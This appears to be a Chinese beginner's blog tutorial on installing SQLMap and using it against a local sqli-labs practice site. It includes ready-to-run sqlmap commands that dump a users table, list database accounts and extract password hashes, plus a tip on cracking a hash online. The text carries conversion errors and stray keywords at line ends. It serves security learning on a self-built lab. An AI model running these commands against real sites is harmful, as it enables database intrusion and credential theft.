SQLMap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的url的SQL注入漏洞
內置不少繞過插件,支持的數據庫是MySQL、Oracle、postgreSQL、MicrosftSQL server、IBM DB2等php
SQLMap採用如下五種獨特的SQL注入技術python
SQLMap須要python2環境的支持,暫時不支持python3
在官網下載SQLMap sqlmap官網地址
在官網下載Python python官網地址
在官網下載對應系統的python2版本
下載完成後 檢查python環境變量是否安裝成功
關於下載安裝python的方法能夠參考以前的博客sql
完成上述內容後
我這裏是把python和SQLMap放到了C盤下 具體狀況根據實際狀況來設定
把下載好的SQLMap文件夾放到Python2的文件夾中
打開CMD
先檢查pytho的環境是否安裝成功
將cmd的路徑切換到python的安裝路徑下
我這裏是下載到C盤的根目錄下數據庫
cd / 切換到 c盤根目錄下 python 檢查pytho的環境 出現python的版本及成功 cd /python2/sqlmap/sqlmap.py 將路徑切換到sqlmap下的sqlmap.py # 具體的路徑根據實際狀況設定 不知道sqlmap.py文件在哪的話能夠進入文件夾後dir查看一下,運行sqlmap.py出現信息及成功
首先咱們須要確保上次搭建的sqli-labs的環境成功
確保sqli-labs可以成功訪問 咱們點擊下方的Less 1
服務器
點進去之後出現一個黑色的界面 顯示 SQLI DUMB SERIES-1
而後咱們複製上面的網址
這裏個人地址是 http://127.0.0.1/sqli-labs-master/Less-1/?id=1
複製完成後咱們進入cmd裏的sqlmap環境下
這裏能夠設置cmd的默認路徑 將cmd的默認路徑設置爲sqlmap.py的路徑
新建一個快捷方式 輸入cmd 建立完成後在屬性裏更改路徑便可ide
進入更改完成後的cmd 提示出sqlmap的信息
這時候咱們使用SQL注入語句來判斷目標網址是否存在注入工具
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 #檢測目標網址是否存在注入
輸入完成後回車 顯示內容如圖
檢測過程當中出現輸入Y/N的地方直接回車便可
post
紅框圈出的前四個就是注入的類型 根據咱們開頭講到的注入類型看一下都是哪些注入類型學習
Type: boolean-based blind # 基於布爾值的盲注 Type: error-based # 基於報錯注入 Type: time-based blind # 基於時間的盲注 Type: UNION query # 聯合查詢注入
最後一個紅框裏能夠看到提示的是目標使用的數據庫版本、服務器類型、php版本、Apache版本網站
這裏咱們使用SQLMap獲取security數據庫下的id password username內容
首先須要確保運行數據庫 這裏我用的是phpmyadmin
這裏使用咱們搭建漏洞環境時導入的security庫
命令以下
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,password,username --dump # -D 指定數據庫 -T 數據庫下的表名 -C 指定所須要的列 --dump獲取全部信息
該命令的做用是列出數據庫的全部用戶,在當前用戶有權限讀取包含全部用戶的表的權限時,使用該命令就能夠列出全部的管理用戶
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --users
該命令的做用是列出數據庫的用戶的密碼,若是當前用戶有讀取包含用戶密碼的權限,sqlmap會列出用戶,而後列出hash,並嘗試破解
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --passwords
咱們看到這裏列出了 數據庫密碼的哈希值,假如說咱們這裏沒有破解出來,咱們能夠複製這個 password hash 的值
把這個值拿到破解網站上取嘗試破解
這裏咱們拿圖上的password hash 作個示範
password hash :*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
關於python環境,若是在安裝嚮導的時候選擇的Add Path 的這個選項話
後面就不須要手動添加python環境了
若是忘記勾選這個選項了咱們須要在個人電腦--管理--高級設置--環境變量中手動添加python的安裝路徑來添加python環境
詳細的內容能夠參考以前的博客
只要命令沒有敲錯的 通常是不會有什麼問題的
檢查一下本身語句是否正確或者檢查sqli-labs那個網頁的地址是否跟實際輸入的同樣
請使用本身搭建的漏洞環境,切勿用於非法的用途,僅供學習初學SQL注入,若是有寫的不周到的地方能夠還請見諒上次的搭建的漏洞環境和SQLMap必定要注意本身輸入的路徑是否正確